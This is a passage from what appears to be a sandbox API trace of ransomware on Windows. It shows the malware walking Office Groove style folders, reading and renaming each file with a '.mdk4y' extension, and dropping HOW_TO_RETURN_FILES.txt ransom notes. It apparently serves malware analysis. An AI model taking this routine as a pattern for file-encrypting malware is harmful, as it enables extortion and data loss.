lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829273700000) returned 1 [0217.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829273700000) returned 1 [0217.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif.mdk4y")) returned 1 [0217.508] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.508] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.508] AreFileApisANSI () returned 1 [0217.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 126 [0217.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.512] GetFileType (hFile=0x134) returned 0x1 [0217.513] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.513] AreFileApisANSI () returned 1 [0217.513] GetACP () returned 0x4e4 [0217.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Biscay.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Biscay.cssss", lpUsedDefaultChar=0x37dd1c) returned 10 [0217.513] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829274400000) returned 1 [0217.514] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xd45, lpOverlapped=0x0) returned 1 [0217.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829275500000) returned 1 [0217.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829275500000) returned 1 [0217.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css.mdk4y")) returned 1 [0217.526] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.526] AreFileApisANSI () returned 1 [0217.527] GetACP () returned 0x4e4 [0217.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightOrange", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightOrange", lpUsedDefaultChar=0x37dd1c) returned 12 [0217.527] AreFileApisANSI () returned 1 [0217.527] GetACP () returned 0x4e4 [0217.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=108, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\旋馧￿￿\x03") returned 108 [0217.527] AreFileApisANSI () returned 1 [0217.527] GetACP () returned 0x4e4 [0217.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.527] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.527] AreFileApisANSI () returned 1 [0217.527] GetACP () returned 0x4e4 [0217.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.527] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.527] AreFileApisANSI () returned 1 [0217.527] GetACP () returned 0x4e4 [0217.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0217.527] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829275800000) returned 1 [0217.528] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x143, lpOverlapped=0x0) returned 1 [0217.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829275900000) returned 1 [0217.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829275900000) returned 1 [0217.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif.mdk4y")) returned 1 [0217.531] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.531] AreFileApisANSI () returned 1 [0217.531] GetACP () returned 0x4e4 [0217.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="button.gif.gif", lpUsedDefaultChar=0x37dc90) returned 10 [0217.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829276100000) returned 1 [0217.531] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xb9, lpOverlapped=0x0) returned 1 [0217.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829276200000) returned 1 [0217.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829276200000) returned 1 [0217.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif.mdk4y")) returned 1 [0217.539] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.539] AreFileApisANSI () returned 1 [0217.539] GetACP () returned 0x4e4 [0217.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_off.gif", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_off.gifgif", lpUsedDefaultChar=0x37dc90) returned 11 [0217.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829277000000) returned 1 [0217.540] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829277100000) returned 1 [0217.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829277100000) returned 1 [0217.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif.mdk4y")) returned 1 [0217.542] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.542] AreFileApisANSI () returned 1 [0217.542] GetACP () returned 0x4e4 [0217.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_on.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_on.giff", lpUsedDefaultChar=0x37dc90) returned 10 [0217.542] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829277300000) returned 1 [0217.543] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829277300000) returned 1 [0217.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829277300000) returned 1 [0217.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif.mdk4y")) returned 1 [0217.545] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.545] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.545] AreFileApisANSI () returned 1 [0217.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 132 [0217.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.546] GetFileType (hFile=0x134) returned 0x1 [0217.547] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.547] AreFileApisANSI () returned 1 [0217.547] GetACP () returned 0x4e4 [0217.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightOrange.css", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightOrange.cssi", lpUsedDefaultChar=0x37dd1c) returned 16 [0217.547] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829280200000) returned 1 [0217.572] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xd5b, lpOverlapped=0x0) returned 1 [0217.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829280300000) returned 1 [0217.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829280300000) returned 1 [0217.574] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css.mdk4y")) returned 1 [0217.575] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.575] AreFileApisANSI () returned 1 [0217.575] GetACP () returned 0x4e4 [0217.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightYellow", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightYellow.css", lpUsedDefaultChar=0x37dd1c) returned 12 [0217.575] AreFileApisANSI () returned 1 [0217.575] GetACP () returned 0x4e4 [0217.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=108, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\旋馧￿￿\x03") returned 108 [0217.575] AreFileApisANSI () returned 1 [0217.575] GetACP () returned 0x4e4 [0217.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.575] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.575] AreFileApisANSI () returned 1 [0217.575] GetACP () returned 0x4e4 [0217.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.576] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.576] AreFileApisANSI () returned 1 [0217.576] GetACP () returned 0x4e4 [0217.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0217.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829280700000) returned 1 [0217.577] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x16f, lpOverlapped=0x0) returned 1 [0217.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829280800000) returned 1 [0217.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829280800000) returned 1 [0217.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif.mdk4y")) returned 1 [0217.580] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.580] AreFileApisANSI () returned 1 [0217.580] GetACP () returned 0x4e4 [0217.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829281100000) returned 1 [0217.581] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829281200000) returned 1 [0217.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829281200000) returned 1 [0217.582] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif.mdk4y")) returned 1 [0217.584] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.584] AreFileApisANSI () returned 1 [0217.584] GetACP () returned 0x4e4 [0217.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.584] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829281500000) returned 1 [0217.585] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829281600000) returned 1 [0217.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829281600000) returned 1 [0217.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif.mdk4y")) returned 1 [0217.587] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.587] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.587] AreFileApisANSI () returned 1 [0217.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 132 [0217.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\how_to_return_files.txt"), 